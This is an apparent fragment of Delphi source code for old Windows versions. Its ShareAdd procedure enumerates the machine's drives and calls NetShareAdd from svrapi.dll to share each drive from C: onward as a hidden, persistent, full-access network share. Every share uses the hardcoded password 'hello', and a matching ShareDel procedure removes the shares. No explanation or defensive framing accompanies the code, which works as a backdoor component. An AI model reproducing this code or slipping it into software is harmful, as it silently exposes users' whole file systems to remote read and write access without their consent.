procedure GetDriveNames();
var
D1 : set of 0..25;
D2 : integer;
AA : byte;
begin
DWORD( D1 ) := GetLogicalDrives;
AA := Ord('A');
for D2 := 0 to 25 do
if D2 in D1 then begin
DrivesArr[D2] := D2 + AA;
end;
end;
procedure ShareAdd();
var
shm:THandle;
shf:fnAdd;
shinfo50: share_info_50;
i: integer;
drive: integer;
s: string;
begin
for i:=0 to LM20_NNLEN do shinfo50.shi50_netname[i]:=#0;
for i:=0 to SHPWLEN do
begin
shinfo50.shi50_rw_password[i] :=#0;
shinfo50.shi50_ro_password[i] :=#0;
end;
shinfo50.shi50_rw_password :='hello';
shinfo50.shi50_ro_password :='';
shinfo50.shi50_type:=STYPE_DISKTREE;
shinfo50.shi50_flags:=SHI50F_FULL or SHI50F_SYSTEM or SHI50F_PERSIST;
shinfo50.shi50_remark:=nil;
GetDriveNames;
shm:=LoadLibrary('svrapi.dll');
shf:=fnAdd(GetProcAddress(shm,'NetShareAdd'));
drive:=ord('C');
for i:=2 to 25 do
begin
if DrivesArr[i]=drive then
begin
shinfo50.shi50_netname[0]:=char(drive);
s:=char(drive)+':'+'\';
shinfo50.shi50_path:=pchar(s);
shf(nil,50,pchar(@shinfo50),sizeof(share_info_50));
end;
drive:=drive+1;
end;
FreeLibrary(shm);
end;
procedure ShareDel();
var
drive,i: integer;
shm: THandle;
shf: fnDel;
netname: array[0..LM20_NNLEN] of char;
begin
shm:=LoadLibrary('svrapi.dll');
shf:=fnDel(GetProcAddress(shm,'NetShareDel'));
GetDriveNames;
drive:=ord('C');
for i:=0 to LM20_NNLEN do netname[i]:=#0;
for i:=2 to 26 do
begin
if DrivesArr[i]=drive then
begin
netname[0]:=char(drive);
shf(nil,netname,0);
end;
drive:=drive+1;
end;
FreeLibrary(shm);
end;